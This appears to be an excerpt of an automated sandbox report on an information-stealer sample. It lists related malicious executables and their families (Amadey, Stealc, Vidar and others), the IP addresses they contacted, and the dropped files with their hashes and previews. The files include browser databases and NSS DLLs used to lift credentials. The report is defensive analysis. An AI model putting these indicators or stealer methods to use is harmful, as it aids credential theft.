	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	77.91.77.80
	file.exe	Get hash	malicious	Amadey	Browse	77.91.77.82
	installer.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66
GES-ASRU	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse	85.28.47.7
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	85.28.47.4
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	85.28.47.4
	UjgmwyFttK.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	85.28.47.4
	ukuWaeRgPR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	77.91.77.80
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	8vZMEr8sm9.exe	Get hash	malicious	Amadey	Browse	77.91.77.82
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	77.91.77.80
	file.exe	Get hash	malicious	Amadey	Browse	77.91.77.82
	installer.exe	Get hash	malicious	RisePro Stealer	Browse	77.91.77.66

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse
	jlO7971vUz.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	9444f34a94d494a78e19e19f4e1615744e500aca97a56.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse
C:\ProgramData\mozglue.dll	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse
	jlO7971vUz.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	9444f34a94d494a78e19e19f4e1615744e500aca97a56.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse

Created / dropped Files

C:\ProgramData\AECAECFC

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKJEGCFBGDHJJJJJKJEC

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\AKJEGCFBGDHJJJJJKJECFCFCAA

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIIDAEB

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFHDHIJDGCBAKFIEGHCBGHJDAF

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGHJEBGHJKEBFHIJDHC

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIDAKFIJJKJJJKEBKJEHCBGDAK

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEBFBGDGHIIJJKEBKJDBKECGII

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJDGIJECFIEBFIDHCGHD

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: setup.exe, Detection: malicious, Browse Filename: 1719859269.0326595_setup.exe, Detection: malicious, Browse Filename: jlO7971vUz.exe, Detection: malicious, Browse Filename: Rnteb46TuM.exe, Detection: malicious, Browse Filename: 1jPL5zru3u.exe, Detection: malicious, Browse Filename: Zachv5lCuu.exe, Detection: malicious, Browse Filename: 1719520929.094843_setup.exe, Detection: malicious, Browse Filename: j7iUba2bki.exe, Detection: malicious, Browse Filename: 9444f34a94d494a78e19e19f4e1615744e500aca97a56.exe, Detection: malicious, Browse Filename: 1Cvd8TyYPm.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: setup.exe, Detection: malicious, Browse Filename: 1719859269.0326595_setup.exe, Detection: malicious, Browse Filename: jlO7971vUz.exe, Detection: malicious, Browse Filename: Rnteb46TuM.exe, Detection: malicious, Browse Filename: 1jPL5zru3u.exe, Detection: malicious, Browse Filename: Zachv5lCuu.exe, Detection: malicious, Browse Filename: 1719520929.094843_setup.exe, Detection: malicious, Browse Filename: j7iUba2bki.exe, Detection: malicious, Browse Filename: 9444f34a94d494a78e19e19f4e1615744e500aca97a56.exe, Detection: malicious, Browse Filename: 1Cvd8TyYPm.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1907200
Entropy (8bit):	7.951311548604393
Encrypted:	false
SSDEEP:	49152:r99RrvECymQR8ZMPwOO+Mi9BvdWOG2UvgCJF:Z7M9dR8ZMPwOOH+BW5NJF
MD5:	742979A5B57DC70750A54561B3E2DAE9
SHA1:	FE778AFC2BB1A013893729C6ADAC45CAAF6C0C20
SHA-256:	55891E3CD090783D396A5D09B904BCBC0F4E045FF192C3740DD08EDC7E3FDE4D
SHA-512:	1E2C0637ED25A18E40947F8B831CFE230BCE8A8AC31AA043B25B7ECE2C514FC979803CBD20300F68118038A37D53B0D372E18367B9FBDBFF1519943DF765D54B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@.......................... L...........@.................................X...l.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... .0+.........................@...lwthcuux......1.....................@...rgejpvgu......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\Wf9qnVcbi8.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
